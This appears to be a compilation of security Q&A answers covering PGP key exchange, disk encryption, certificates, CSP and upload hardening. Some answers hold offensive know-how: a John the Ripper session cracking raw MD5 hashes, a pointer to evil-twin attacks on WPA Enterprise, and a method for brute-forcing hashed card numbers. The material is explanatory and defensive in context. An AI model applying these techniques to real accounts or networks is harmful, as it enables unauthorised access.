Two-way PGP email without publishing your key / address to a key server?

Confidential Key Transmission

You have to discriminate between to different issues:

Privately transmitting keys

This is your primary challenge, about how to get the key to the other side without revealing it to the public. You can do this on any way you want which you would also trust otherwise regarding transmitting confidential data. If OTR is fine for you, than it also is for transmitting your keys.

Sending keys without using key servers is as easy as

gpg --armor --export [key-id] > key.asc     # Send file key.asc to the recipient
gpg --import key.asc                        # Recipient can import the key

Verifying the validity of keys

This is a completely disconnected problem, which also occurs if not transmitting key data in private (ie., using the key servers). Usually, this is performed by communicating the key's fingerprint (a kind of hash sum) over some secure channel, often face to face communication.

If you already established a trusted, secure channel (like OTR with verified keys), you could use this to do both: you know nobody is able to evesdrop, and the other side is authenticated.

If you trust your mail and network operators not to tamper with unsigned plain text mails (and not evesdrop on them), and governmental agencies are not an attack vector you're caring about, a plain text mail might be fine for doing so. If all you want to do is prevent spammers from getting your key (which includes your mail address), this is very likely sufficiently private way of exchanging keys, just consider who might have access to the transmission path: spammers are probably not among them.

Is it worth the effort?

Or better: how much effort is it worth?

Be aware that anybody being man in the middle will be able to observe whom you're communicating with anyway. Spam is an issue with keys on public key servers, but you have to deal with it anyway. Keeping keys private only works as long nobody makes a mistake; uploading the wrong or even all keys in the local key store is told to happen (and happens easily).

OpenPGP with its key server infrastructure is mainly designed to keep the contents of your communication private, while also ensuring authenticity by sharing your public keys and signatures. While it can be used the way you'd like it to be, keep in mind this is not one of the primary goals. If you want to use OpenPGP without uploading the keys, expect it to get public anyway and do not rely on it if a leaking public key would be a disaster.

Governmental Encrypted Mail Usage

  And do many privacy-conscious people (like members of law enforcement, such as NSA agents) do this to avoid having their (government) email addresses publically 'outed' by being on public PGP key lists? Maybe they have their own private PGP servers within each organication to take care of that?

Very likely, they just don't use OpenPGP. These are centrally organized organizations, which are often better of using hierarchical systems like X.509. And worse, I'd not be too sure usage of end-to-end encrypted messages is widely spread anyway.

If they do, they will most likely use S/MIME and X.509 keys together with an internal key server being integrated in their user database. Very likely there is no full list of keys/certificates available; but when they're already communicating with you, they will very likely share the certificate by signing their mails (in S/MIME, the certificate containing the public key is attached to any signed message).


How to mimick malicious activity in a network?

I'm trying to setup a VM that will try to mimick malicious web browsing behavior.

It sounds like you are trying to mimick web browsing of malicious sites, not malicious browsing of web sites.

  It should download malware and just get infected.

As a precaution, you should run the VM on a system that is physically isolated from the rest of your network (for example, an old laptop). Ideally, tape over the webcam, and disconnect the microphone, BT, WiFi (though that may require opening it up). It should have wired Internet only with a firewall that prevents it from accessing the rest of your network, such as a so-called "DMZ" configuration.

  There are a lot of open source threat intel feeds with bad IPs and URLs. Is there a way to have it visit malicious sites and get infected?

Shouldn't be too difficult to write a script that repeatedly opens firefox with a URL from a list and then kills firefox a few tens of seconds later after the malicious website has had time to do its thing.

  In case you are wondering why, it's in a test lab and I'm trying to test how well my IDS and malware sandboxes work.

Great. Just be careful. Be very careful.


DWR is reasonably secure if you use it securely. Anything can by made insecure through usage. You still need to validate all your inputs.


The decision here is between something you know versus something you have.

Password, something you know:

Password cannot be stolen together with your laptop.
Humans are bad at choosing strong passwords.

USB key, something you have:

USB key will have some guaranteed cryptographic properties unlike most passwords.
If you keep the USB key with you, it might easily be stolen along with your laptop.

So for the two adversaries you mentioned. Thieves may be able to steal your USB key along with your laptop. Friends might also be able to get access to your USB key if you do not secure it. On the other hand, thieves cannot get your password if they only steal your device and friends can't casually get it if they fit my common-sense definition of friend.

However, if you have the scenario where someone has access to your device without you suspecting them, you are vulnerable to many attack vectors:

Someone installs a small keylogging device that intercepts your keyboard (only applicable if you use peripheral keyboard)
Someone with physical access to your device resets it and boots into a memory dumping utility. The memory dump can then be analyzed to retrieve the Bitlocker key (Elcomsoft Forensic Disk Decryptor can do this). This can be avoided with a TPM.
Someone shoulder surfs you and sees you typing in your password.
If you have a FireWire port, it's possible to dump the active memory by exploiting DMA. Dump gives them the key. I think it's possible to prevent this through Group Policy, disallowing FireWire devices from activating if the device is locked.

Other than that, it's worth remembering that if malware ever gets onto your machine (e.g. friend tricks you into running something) it can easily steal the encryption key (and do anything else).

In my opinion, a TPM is an important part of setting up BitLocker in a secure way.

Some additional information:

Building a Bulletproof Windows BitLocker
A Password is Not Enough: Why disk encryption is broken and how we might fix it


You are probably best off just using the Java Cryptographic Extensions yourselves - as you say, Jasypt is fairly stale and is, itself, a wrapper around various JCE implementations.

OWASP (if you don't know OWASP, get to know them - awesome non-profit with tons of security advice) has a nice page on using JCE directly - check out the AES examples : https://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions#AES_Encryption_and_Decryption

That is probably sufficient for what you are doing. AES-128 is considered secure short of quantum computing.


Enterprise and Open Cryptographic Systems/Applications?

One enterprise option is credant.  I know that there is a multitude of different tools out there to look at.

As for open source, Truecrypt is always a good tool.  But again, you can find a plethora of options online.

P.S. There's also a nice android app that I use called IOSafe which is a mobile equivalent to to keepass (also a good tool).  Both tools are used to store user account/password information and can also be used to securely save additional information.


Employer wants me to install root certificate to work remotely - privacy concerns?

Installing a root certificate on your machine will make your machine implicitly trust certificates signed by that root CA.  If you don't understand what that means, you should read up on the basics of certificates and TLS.

  It seems like they could monitor my web traffic by having me install this root certificate is that correct?

When you communicate with their VPN, they will be able to decrypt that traffic.  That's kind of the whole point.  Otherwise you will not be able to communicate with them.  If you are going through their VPN out to the internet your traffic will likely be going through a proxy.  Because you trust their root certificate you are treating them as a certificate authority (CA), that proxy can issue certificates for any domain you are connecting with.  So you will see a green lock or whatnot on your browser but if you were to look at the certificate chain it would show the company as the authority.  For example, when I am at work, when I look at the certificate chain for this site, it has been issued by my company's CA.  This is really a legitimate thing for the company to do.  You are on their network and they have every reason to need see what you are doing on it.

When you are not on the VPN, you will still trust their CA but you will not be forced through their proxy to the internet.  So when you go to google, you will see that their cert is issued by some other CA that you trust and not the company's CA.  The company cannot decrypt this traffic.  However, if they really wanted to, it's possible to set up a fake site using their certificates and through various means trick you into thinking it was really google (for example) and see what you are searching for.  Unless this is a shady company, I would think such a scenario would be unlikely.

If they have you install special software on this machine, however, they could monitor all your activities and/or remotely control your computer.


Choosing security scenario for WCF service/client hosted by IIS

is having the certificate and using the
  transport security enough to make sure that nobody can read the
  messages passing between client and server?

For all intents and purposes, yes. (barring MitM attacks)

  Or do I have to somehow come up with some kind of ad hoc client
  credential and add message security?

Negative.

  This link describes that SSL is good for Intranet and for internet
  message security is suggested why?

Because during an intranet deployment you maintain control of all systems on a private network and can ensure that each system is indeed using transport security when sending data over the LAN/WAN.

Message security is preferred when using an "internet" scenario because you will be interacting with 3rd parties. You may not be able to ensure that these 3rd parties haven't been compromised and/or are enforcing transport security along the entire chain.

  What happens if I only use SSL and no message security for the
  internet scenario?

I'm a little fuzzy on your infrastructure configuration and which parts of it you actually own versus which parts are being rented from a hosting provider, but per Microsoft's recommendations Message Security is the preferred method when messages may be routed through intermediate systems. (aka: the internet)


OpenSSL - Generate self signed certificates with different cipher suites

The certificate you created misses the "Certificate Key Usage" extension with the property "Key Encipherment" enabled.

Therefore it isn't allowed for the server to use the RSA key in the certificate for the key exchange and as a result the server only offers Cipher Suites with Ephemeral Keys.


Information Security Governance - security measures

"Must/should not" becomes a matter of law or regulation, which we cannot speak to. In some jurisdictions (and the number is growing) they have a responsibility to comply with requests like yours, so you could check into that.

From your description, the application was developed by them, hosted by them, and operated by them. They are the only ones to whom your questions could be asked. And your questions are not strange or unique. They are pretty basic, actually.

What it sounds like is that he is not prepared for that level of governance/auditing. Which is fair if the company is new and small. They could answer the questions, but they are not prepared to and are likely uneasy providing answers without understanding their liabilities in answering.


Is is possible to decrypt 802.11 for WPA enterprise?

The methodology I've always seen for this involves using Hostapd in a man in the middle style attack.  Essentially setting up an Evil Twin style attack on the enterprise network, failing but still gathering enough of the keying material to recreate the credentials.

It only works on certain EAP/PEAP modes (essentially things that aren't *TLS)  http://blog.gojhonny.com/2015/08/pwning-wpa-enterprise-with-hostapd-on.html is a good example of this setup.  Famously used by Moxie (along with shitty crypto) to break MSCHAPv2 (http://blog.erratasec.com/2012/07/the-tldr-version-of-moxies-mschapv2.html)


EU standardized digital signature for form-data

Digital signature in EU is ruled by REGULATION No 910/2014 on electronic identification and trust services. It is directly applicable in all territories without transposition
You will not found any reference to standards about format or technology, but acomplishment will require:

X509 digital certificates issued by a qualified trust service provider.  Must be present in EU trusted list(TSL)
XAdES, CAdES, PAdES or ASiCs format for interoperability between public administrations

Digital certificates in browser
Certificates are issued to users in software files or cryptographics tokens (ID card). This is the biggest obstacle. Due to Java restrictions on browsers, you can not use the OS native Key Store (check this and this)
There are some alternatives

Use WebCryptographyApi to load certificate. See https://stackoverflow.com/questions/36018233/how-to-load-a-pkcs12-digital-certificate-with-javascript-webcrypto-api

Use chrome messaging api (Estonia). See https://stackoverflow.com/a/29806091/6371459

Use a local application connected through javascript (Spain) See https://stackoverflow.com/a/38658414/6371459

AdES format
This is not a derived requirement of regulation 910/2014, but eGoverment use to have additional legislation for interoperability. This is not mandatory on private business
ETSI XAdES, CAdES and PAdES are not suitable for web environments. Known libraries like forge or pkijs do not support it. XAdES is based on XMLDsig (you have defined it...) and CAdES/PAdES use ASN.1 binary encoding.
Unfortunately JWS(JsonWebSignature) still does not have a standard AdES of ETSI.
On web & mobile devices is used a technique called 'three steps signature' to avoid move the complex digital signature libraries to the device.

Prepare hash to sign on server using user's public certificate and the data to sign (a document or the form data)

Sign hash on client side

Complete the signature format on server

Only the second step is performed on client side. The SD-DSS european framework (opensource) provides to administrations a complete digital signature framework, including support to TSL, signature and verification


Best archive format for cryptographic signing?

that entails creating an archive or compressed file

That premise is not necessarily true. You don't necessarily need to create an archive to cryptographically sign multiple files. I'll give a few examples.

Manifest file

You can sign a file that contains a list of file hashes, this file is usually called a "manifest". The signature on the manifest will cover all the hashed files. Using a manifest instead of an archive has the advantage that you can add and remove files from your directory without completely invalidating the signature; other people can modify two files and prove that they only modified the two files as only the hash of two files changed from your original version. Essentially, you sign the directory using this kind of script:

find $directory -type f -print0 | sort -z | xargs --null sha256sum | gpg2 --clearsign > manifest.txt

This is more or less the strategy that is used in a JAR file (though jarsigner uses x509 certificate instead of OpenPGP).

Signed git repository

You can create a git repository and cryptographically sign the files using gpg-signed commits/tags.

$ git init

$ git add .
$ git commit --gpg-sign -m "Version 1"

or

$ git tag --sign version-1

Reproducible tar file

If you insist on creating an archive, you can make a reproducible tar file. These are much more complex because an archive can contain metadata, but fortunately the tar program have many arguments that allows you to select which metadata you want to preserve. With an archive, you have a lot of flexibility on whether or not you want to sign permissions, modification times (which may be necessary if you later want to use tools like make), and other metadata. You can create a reproducible tar like so:

tar --sort=name \
  --mtime="0" \
  --owner=0 --group=0 --numeric-owner \
  -cf file.tar $directory
gpg2 --sign file.tar

For more about creating reproducible tar file, I would suggest reading this article.


Was the ASP.NET Padding Oracle exploit exposed in an ethical manner?  What could have been done differently?

Quite similar question is already here: How to disclose a security vulnerability in an ethical fashion?.

What about current topic and the way how vulnerability was disclosed - not bad, but still, IT security community is in the search of more ethical ways of vulnerability disclosure. Well, researchers could inform (or maybe they have done that, don't know) vendor, wait some days, months, maybe years when the bug is patched. At that time vulnerability could be exploited. Moreover, who said that this vulnerability was not previously exploited by black-hats? When the bug is publicly known, it has no more value on criminal market, it is easier to defend, easier to stop script-kiddies attacks, comparing to skilled black-hats. There are endless topics about FD and RD, with numerous pros and cons.

Taking into account known manner of known vendors response, no surprise that researchers act like that. Remember "No more free bugs" movement.


How to specifically whitelist JS libraries which need unsafe-eval

Unfortunately that is not how it works.

In your example,

Content-Security-Policy:default-src *; script-src 'unsafe-inline' 'self';
Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval' https://maps.googleapis.com/*';

'unsafe-eval' https://maps.googleapis.com/*' are both sources. It is not stating that unsafe-eval is allowed on maps.googleapis.com, it is stating that unsafe-eval is allowed everywhere.

However, as your first header only states script-src 'unsafe-inline' 'self' this will effectively remove the 'unsafe-eval' https://maps.googleapis.com/*' from your second directive. This is the same as only specifying unsafe-inline. Each source needs to pass through both policies "unscathed".

Note that you cannot specify a wildcard the way you have. Check here for a clear explanation. You need https://maps.googleapis.com instead.

Nonces cannot be used to solve this because there is no static inline script - eval means it is all determined at run time by the browser.

I would suggest you only output the 'unsafe-eval' https://maps.googleapis.com part of the CSP directive on pages that require Google maps, as part of a single header output to the page.


Is Android encryption safe with pattern? Does law enforcement brute-force phones?

It depends on the phone.  More modern phones usually utilize a hardware security module to prevent against brute force attacks on the PIN.  These hardware elements store the PIN and limit the rate at which PINs can be tried.  Since Android L, Google experience devices (those that ship with the Play Store and GMail bundled) have required hardware-backed encryption.  If you have such a device, it will take quite some time for your PIN to be brute forced (especially if you have a reasonably long PIN, e.g., 6+ digits).


This is a particularly user-friendly method for easier login from a "recognised" device. All of the options below apply together. E.g. user agent alone is not secure, but combine with IP address it's stronger. This would normally use:

User agent data (including screen resolution)
Timezone
Time check from IP address location and system time
Cookies
Is WebRTC enabled?
Does IP address and DNS server match?
Is JavaScript enabled?
Does the IP address have open ports? (for known proxies or VPNs)
Does the OS and Browser OS user agent data match?
Is the IP address residential or from a data center?

WhatLeaks covers most of these.

This method is implemented via PayPal and works quite well. You should be able to authenticate and login to PayPal, log out and attempt to log in again, you should not cause an email for unusual activity now. If this is the case, copy your browser user agent and cookies. Then place them onto another computer. You should not cause an email for "unusual activity". Like you said about "80%" matching, this can be applied here, if too many changes then, unusual activity email or SMS.

Is this method secure? Possibly, it does provide better protection than without and does stop most attackers. However, some become lackadaisical, treating it like a silver bullet, and then use weaker passwords, or opt-out of 2FA.


"Privacy" had a different meaning when PGP got its name.  Keyservers and the implications of publishing the names and metadata of people who signed your keys wasn't a well understood issue back then, but today it is a pretty serious privacy concern.

Since email addresses change, and "identity" can be reasonably tied to legal name, birth date and city of residence, I have a PGP entry up there with a little too much information, and signatures from some interesting characters.

A reasonable study of signature dates can be used to figure out where I was on what date, with whom I met and what conferences I might have attended.  I would like to remove my keys and play my cards a little closer to my chest, but I can't.

To the best of my knowledge, there's no way to remove the information, even if you have the revocation certificate.  They'll just be stored with the revocation to indicate that your key was compromised.

I would be very happy to be wrong about this.

The downside to having unrevoked keys in the wild aren't too serious.  It can look a little unprofessional, make you harder to find on a key server, and can lead to people sending you emails you can't decrypt.  Aside from that and the normal concerns about your social network leaking through the web of trust, there are no serious issues.


Extra arguments into the parameters
Strip any quotes from your string to ensure they can't throw in there own arguments into the command-line.

Eat your disk space
Strip out ./\ characters.
As if you don't you'll get an attack like "\Windows\Filename" would actually write file to ":\Windows\TempDirName\Filename" and when you later need to clean your temp files the attackers file will be in different location than you'll be looking to clean.

E.g.
You'll be looking at
"C:\AudioConversion\Temp\"
When attackers file will be at:
"C:\Windows\Temp\"

Does ffmpeg.exe have any vulnerabilities in version your using?
Have a look at penetration websites for any vulnerabilities against this tool.
If you're familiar with this process ofcourse give it ago yourself for extra safety.
You could enable DEP for this process if you're paranoid.

Buffer overflows in your program?
Yes, highly unlikely unless you're using unsafe modifier or making native calls etc but do review it.


Why do SSL certificates have country codes (or other metadata)?

The reason certificates have the metadata they do is historical. Certificates are defined in the X.509 standard from the ITU-T. It is part of implementation of the X.500 standard, the Directory services.
It’s also related to another standard called LDAP
These technologies were designed at the beginning of the internet (1988) and have a strong backing in the telephone networks.
The X.500 family of standards were created to facilitate directory services (think phone books). For these it makes sense to record where someone is located in order to tie some arbitrary data (like a phone number) to a physical location or name (like address and name of user).
These features are mainly still present for humans to use. Computers use other means to validate them (like OCSP and the older CRL; a valid period of time, as in not valid before and not valid after values; and trusted root certificates or CA’s, that vouch for the certificate used).
Nowadays there might be a legal requirement to fill in such data accurately but there is no technical reason to enter it aside from auditing and for use by humans.


Is there anything like a known proxy server IP list/database?

In terms of building a free list of proxy servers, there is a tool called Charon that uses Google to search for proxy lists and then verifies them. YAPH is a commonly used tool for finding proxies.

If you are trying to detect if someone is using a proxy,  the x-forwarded-for won't work with "anonymous proxies",  however you could test each new ip address with YAPH to see if they are running a proxy server on a common port.  Of course if they are using a proxy server on a strange port this method won't work.

In terms of "real security" I think this is complete and total waste of time. IP addresses are basically free, and its trivial to bypass IP based blocking/delays for brute force protection.  The counter argument is that IP based blocking is better than nothing,  and I suppose thats true just don't depend on it.


Security pattern for third party uploads to Azure blob container

What is a repeatable pattern for Vendor 2 to secure this type of content upload against malware threats?

Assuming you are looking to secure blob from data not uploaded by you. You may use free online service to upload the file temporarily then use virus total like service and call an API to fetch uploaded files from URL and scan for examination by virus total, then parse results after which you may accept the upload of the files with same hashes.(Risk of loss of confidentiality shall be calculated based on how trust worthy those free services are)

OR you may want to have a dedicated server where you upload all the files first then examine them all with other trusted multiple solutions locally installed of your choice then uploading them all at once to blob.


Relative merits of Heimdal and MIT Kerberos?

In my case, part of the answer turns out to be "Heimdal's kadmin supports adding constrained delegation attributes, MIT doesn't support constrained delegation with the default backend and requires you to modify the LDAP database directly if you use the LDAP backend".

I'd still be interested in learning of other people's opinions or experiences.


Does Gibson's fingerprinting service add much additional security?

I would say that the mixture of multiple font sizes, colours, frames, underline, bold text, underlined bold text (for God's sake !) is enough clue about the kind of site you've stumbled upon.

However, let's put aside these aesthetic considerations; Gibson might be colour-blind and that would not be his fault. So, let's see what the proposed system is about, technically. Gibson runs a service on his server. Let's call G Gibson's server. A user U wants to connect to some SSL server S, but fears that he might be under the scope of an interceptor proxy which runs a Man-in-the-Middle attack by issuing on-the-fly a fake certificate for S (this may work if a CA under control of the interceptor proxy has been pushed in the "trusted CA" store of U's browser). Then user U connects to G, enters the name for the target site S; G connects to S, fetches the certificate used by S, and returns it to U. That way, U can check whether the certificate he sees (from server S) is identical to the one seen from G.

As a security system, it has (at least) the following issues:

Since user U connects to G with a SSL connection, that one could be intercepted just as easily by the interceptor, and the page contents replaced. If, gods forbid, Gibson's service gained any kind of non-negligible popularity, then proxies would do just that automatically, which would reduce the service's added value to exactly zero. The foundation of Gibson's service is the idea that his SSL Web page can be obtained as is, free of malicious alterations, and yet the situations that the service tries to help with are indeed the cases where SSL Web pages cannot be assumed to be obtained without malicious alterations. This looks self-contradictory... because it is.
The extra security hinges on the idea that while user U could be under the influence of an evil proxy, Gibson's server G is, of course, completely free of such attacks and sees the World as it is. He claims as such: "We use the “Tier 1” provider “Level 3” to connect directly to the Internet Backbone with no third-party between us and any remote website." This is, at best, delusional wishful thinking. The sentence is, in itself, a contradiction: "We use a third-party provider to send our packets so that our packets reach any remote Web site without going through any third-party provider." And regardless of how much money Gibson pays on his side of the connection, he has no control over how other Web sites are connected to the World.
Gibson seems to assume that though the World is full of nasty evil entities, he, of course, is obviously completely trustworthy and what he utters can only be the Truth. It goes without saying; indeed, he does not say it. But, pausing for a few seconds, if we choose to assume that we are being "lied upon" (Gibson's terminology) by people who already have quite a lot of technical power on our browsers (inserting extra trusted CA), then why would we trust a random stranger on the Internet ?
... which brings me to the next point, which is that the method used by Gibson's service seems to carefully avoid taking the one step which would make it more useful, namely signatures. Gibson's service is over HTTPS, so that is authentication: user U might be persuaded, on the moment, that he is indeed viewing a genuine page from G (subject to the caveats above). However, he gets no proof that he can show. G does not sign the assertion about the fingerprint of the certificate that he saw. If G was fooled, or dishonest, or both, then he could claim never to have sent bogus information. Why would you trust a service who does not have the decency to at least engage its own responsibility ?
Even if the system works, it may fail on normal load-balancing systems: a given Web site may be hosted on several front-ends, which do not necessarily have the same certificate. In fact, it is recommended that each front-end gets its own certificate, because the alternative is to give the same private key to each front-end, implying the private key traveled at some point -- and that's never a good thing. With such a multi-front-end system, Gibson's service would claim proof of interception at least half of the time, which would be downright embarrassing (but his avoidance of responsibility, as explained above, would come in handy at that point).
The usability issue is of course a serious problem, which alone makes the service mostly useless, even if we assumed that it would be fine otherwise.

However, could the core concept be salvaged, and all these issues dealt with ? Indeed it is possible; it is called Convergence. That system fixes most of the issues with a Gibson-like service:

Assertions about server's certificates, as exposed to the World, are signed by the "notaries", so they take responsibility and cannot as easily cheat on users -- at least, they have a high risk of getting caught.
There is not one notary, but many (at least so it is hoped), so each user can elect to choose whatever notaries he wishes too, not a single Gibson. By construction, each user of Convergence uses several notaries.
Notaries have memory, so they track certificate changes over time, too. This is much better than the basic check done by Gibson's service, which is just for the present. Convergence not only checks that the certificate used by a server is indeed the same from all the notaries' point of views, but also whether that certificate seems to change a lot over time, as that is heuristically a good indication of ongoing foul play.
Convergence relies on a browser extension which does the check automatically, avoiding the usability issue.
Sites with several certificates are taken into account in the protocol, which has special features to avoid spurious alerts in that case.

It is unclear whether Convergence is really good and useful, and, in any case, it seems not to be as widespread as could be wished for. But it, at least, avoids the glaring shortcomings of a Gibson-like service.

Gibson's point about EV certificates is, of course, bogus. He appears to have faith in the magic of EV certificates. He claims that "they cannot be spoofed" and his reasoning hinges on the idea that EV certificates are validated against an internal list of "trusted EV roots" that malware or evil sysadmin cannot alter. But they can ! Gibson seems to have observed one or two situations where the sysadmin (or some malware) inserted a proxy-controlled CA in the trusted root store, but did not bother to alter the "trusted EV" store -- from which he concluded that the sysadmin could not alter the "trusted EV store". The conclusion is wrong.

Possibly, Gibson has paid some extra to obtain a pretty "EV" certificate (indeed, they are almost twice as expensive at DigiCert), from which the usual infatuation developed. It is a common psychological effect: people who have paid a lot for some service or object will thereafter feel invested with the sacred mission to assert, whenever possible, that the service or object they paid for is way better than any other cheaper replacement. This is understandable, the alternative being to admit they they were swindled. Self-delusion is a the safety mechanism by which self-esteem protects itself. Arguably, Apple understood this concept decades ago, and it made them filthy rich.

The core issue with the envisaged scenario, though, is that it does not ultimately make sense. We are talking about a user whose browser and/or OS was modified without his consent. It is true that, right now, a common "modification" used in some organizations is the insertion of an extra trusted root CA, in order to allow seamless MitM attacks on SSL and thus the usual assortment of content inspection and filtering. Blue Coat's ProxySG product is often cited as an embodiment of this method; in the open source world we would talk about SSL Bump as part of the well-known Squid proxy. These products use an extra, controlled root CA because it is convenient: it allows the interception service to work with minimal hassle. However, it does in no way mean that interception MUST use fake certificates issued on-the-fly relatively to a controlled CA.

Indeed, in order to push an extra trusted CA, the "attacker" (often not really an evil, legally reprehensible attacker, more a sysadmin in some corporation who tries to enforce some company policies) must have sufficient privileges on the user's machine. With the same privileges, the same "attacker" could simply install some code which intercepts all the data before it gets encrypted; this is called hooking. It yields complete access over the SSL data without having to do anything about certificates; it even works against an unmodified browser. No amount of EV-greenness does anything against it.

Summary: Nope. No additional security worth speaking of. There is an underlying concept which may provide additional security, but only if done properly, i.e. not the way Gibson does it. And, even then, it would not really save victims against attackers who are powerful enough to make SSL interception work in the first place.


For passwords, bcrypt is a much better option that SHA-3.  SHA-3 and bcrypt serve different purposes.  BCrypt is a Key-Derivation Function, while SHA-3 is a regular hash.  KDFs are deliberately more computationally intensive than standard has functions. The slower a hashing function is, the longer it takes to crack. This helps protect against offline attacks in the event the hashes are stolen.

The below article can give you a good overview as to the threat you are trying to defend against.
https://arstechnica.com/information-technology/2012/08/passwords-under-assault/


Someone signed up to a website using my Email address and was created from my IP, but with a different browser?

I will assume that you got an email stating that you registered to a website. Firstly, I wouldn't be surprised if this was some form of elaborate phishing. Double check the website before visiting or avoid it all together.

Secondly, as a person above stated, It could be, that there is some form of malware on your PC that hijacks your information (Script or a plugin), although very unlikely.

Lastly, you sure you haven't noticed any suspicious activity or processes running on your computer? It seems like a very odd scenario.


John the ripper(kali linux) cant load hashes

Your wordlist is in compressed .gz format.

--wordlist=/usr/share/wordlists/rockyou.txt.gz

Uncompress it first.

--wordlist=/usr/share/wordlists/rockyou.txt

I copied your hash to my box.

kali@kali:$ cat hash.txt
8AFA847F50A716E64932D995C8E7435A
5F4DCC3B5AA765D61D8327DEB882CF99
8621FFDBC5698829397D97767AC13DB3
F306109E6F069BCA5191DEB9B03359E2
F78900129CE480FC150F9B84D73B03F2
kali@kali:$

Check the supported format

kali@kali:$ john --list=formats | tr , '\n' | grep -i md5
 md5crypt
 md5crypt-long
 asa-md5
 dmd5
 krb5pa-md5
 net-md5
 md5ns
 PBKDF2-HMAC-MD5
 pix-md5
 Raw-MD5
 Raw-MD5u
 SunMD5
tcp-md5
 HMAC-MD5
kali@kali:$

Try again ... voilà

kali@kali:$ john --show --format=Raw-MD5 hash.txt

<Cracked password removed>

5 password hashes cracked, 0 left
kali@kali:$


For an upload to be secure, it must have a number of restrictions, primarily these:

Max upload file size
Max upload count per IP/session per day
Max total file bytes per IP/session per day
Max total file bytes per day (all IPs)
Specific server side target directory path
Deny execution privileges on uploaded files
Specific set of allowable MIME types
Elimination of executable code embedded in media [1]

Restricting the extension type is irrelevant because that only relates to the default and preferred application associations, not networking.  Any type of content can be placed in any file name regardless of its extension.

You wouldn't (if you want any level of security whatsoever) ever open a document originating from a public connection on a server with a browser or other client app.

MIME types can be synthesized at will by attackers too, which is why security measures must assume the worst.  Thus 5-7 above.  Items 1-4 are to reduce denial of server attack vulnerability and accidental storage overload or other site unavailability causes and risks.

Notes:

[1] Executable code can be eliminated by scanning for executable headers and server supported scripting languages or by decoding and re-encoding the media file in an unpredictable way.


Numerous login attempts detected from an internal machine to the active directory domain controller

Migrated comment to an answer as it should steer you down the correct path.

First Determine Failure Type

Are these Kerberos Pre-auth failures (Event ID: 4771)

OR

Actual login attempt failures (Event ID: 4776)?

Then ID the Specific Failure Reason

View the alert and ID the hex code that explains the failure.

Then look it up here:

4771 Failures
4776 Failures


Approach to authorizing users and X.509 certificates

Client certificates generally use the common name field or the subject alternative name field to identify the client.  When the client presents the client certificate, your server will check that certificate signature is valid, and that the signature was made by a trusted CA, and that the client is in possession of the private key corresponding to the public key in the certificate.  All of this happens as part of the TLS negotiation.  If all of the above are true, then your server can authenticate the user in the common name field or the subject alternative name field of the certificate.
As far as which actions the user is allowed to take once the user is authenticated - these privileges should be stored in your database for each user, and your application logic should query the database to determine which privileges the user has, once the user is authenticated.
Related:  Client certificate common name? Subject alternative name?


What is simplest way to transfer files (company computer security is excessive)?

I'm afraid this is not the expected answer, but mine will simply be don't.

You are asking for a workaround to circumvent a security policy! If you were an employee, that would be enough for serious sanctions including the risk of being fired.

The correct way to deal with problems like that is to kindly express your needs to your manager or your contact in the organization, explaining that you cannot work because of the security policy and asking what is the recommended way. If the answer is what you want to do is exactly what this policy wants to forbid you will have to analyze one level up with your manager or contact to see how you could change your way of work to comply with the security policy.

There is always a balance between useability and security, and each organization puts the cursor somewhere because of its own security requirement and accepted risk. And if you work (even indirectly) for an organization, you have to fully respect its security policy.


They can revoke the signature using the revsig command of gpg --edit-key then re-upload the key to the keyservers.  Alternatively you could meet up with them demonstrate your bona fides and make the signature retroactively true.


Is my Android device infected with a virus?

Most likely you have been infected by some sort of malware.
We could talk about all the things that you pointed out, but that won't change the fact that you are most likely infected, and your personal data could be at risk.

My recommendation:

Factory reset your android device and move on. (Don't save anything from your phone at this point, some malware change files with malicious code, so forget about those (pictures, music, any sort of files))


First of all check this out. It has great guidelines on hardening Ubuntu machines.
My recommendations

If possible have your webserver hosted in a different location than the office with no access or communication to the office. If that's not an option make sure it's completely separated from your internal network.
For the internal network of course setup a firewall, have AV running on all machines and setup an IDS/IPS. Snort is a popular ids/ips for Linux.
Use full disk encryption on the laptops. TrueCrypt can't do full disk encryption on Linux devices, I haven't used it in a couple of yeas so maybe that's changed if truecrypt is your only option at least make sure the users know how to use it properly and don't accidently save a database of SSNs unencrypted.
Don't directly allow access to any machine in your internal network. If you want people to work remotely the best option is to make them VPN into the network. If you want to get really secure about it you can setup the VPN with a keyfob or a certificate on an sd card that the user has to physically have.
There's so much more you can do but it all depends on the amount of time and money you're willing to put into it.

There is no such thing as a "Fully secured system" if you want to harden a server to the point where it will be near impossible to hack you would have to fill it with cement and drop it in the deepest trench in the pacific ocean and even then I would say it's only about 96.2% secure but it's 100% unusable.

You have to accept the fact that you are vulnerable and you will be attacked. Determine the value of all assets in the organization. Have a baseline security policy for all devices on your network and focus your resources on the mission critical systems.

My 2 cents. Hope this helps


You are correct about the single point of failure, but that's not too different from having all your SSH keys on the same box which is also common.
Like any software, your C2 software can have vulnerabilities or misconfigurations that introduce vulnerabilities. Even TeamViewer has run into issues in the past.
My worry would be that the tool is not designed with security in mind. Depending on the tool, it may have just been developed for a one-off engagement and was made to be quick and dirty. Compare it to a remote administration tool such as Ansible, which simply uses SSH, which comes with many benefits such as secure and vetted authentication and encryption out of the box. While there is probably some sort of authentication in your tool, it may not be properly implemented, or may not be enforced at all. The tool should also properly use encryption, which may not always be the case.
Besides authentication, there could be other vulnerabilities that exist within the software. However, it is impossible to know without performing a security audit on the tool. Without knowing for sure, you may be fine, or you may be exposing all of your systems to remote attackers.


Does PCI ban using MD5 to store sensitive data?

Using any hash algorithm to "fuzz" the card is often reversible.

Since there are only a finite quantity of card numbers, remember the last digit maybe a check digit.  Not all the entire card space needs to be checked.  It is well known what the card issuer prefixes are so you perform your searches there.  So now your 16 digit PAN, lost the last digit for check digit and the first 4 to 6 for card issuer.  That is not a lot of combinations to brute force, maybe a single PC with a GPU can do it in a few hours.

So even salted data is useless when you can exhaustively search the entire keyspace with a few clicks and an AWS or evil botnet cluster and get the results back in an hour.  Computers are fast enough to cycle through ALL combinations to find the hash that matches.  The salt is usually known and designed to protect against pre-computation, but that doesn't matter if you can re-compute a complete new data set based on known salt quickly.

So what is important is the exact algorithm used in conjunction with a hash like MD5.

What is the point of using MD5 anyway ?  If you need a token the represent a card number issue it from an independent keyspace.  A sequential counter starting at 000000001 and encrypted with a completely secret key will always grant you a unique output value for the blocksize that is completely unrelated to the card data (and therefore not reversible) without the mapping database being compromised.

If you really need to fuzz the card number look towards PBKDF2 for all usage where you considered a hash.  Since you can bring back the intention of the salt by making it too costly to brute force (even on GPU even on AWS cluster).

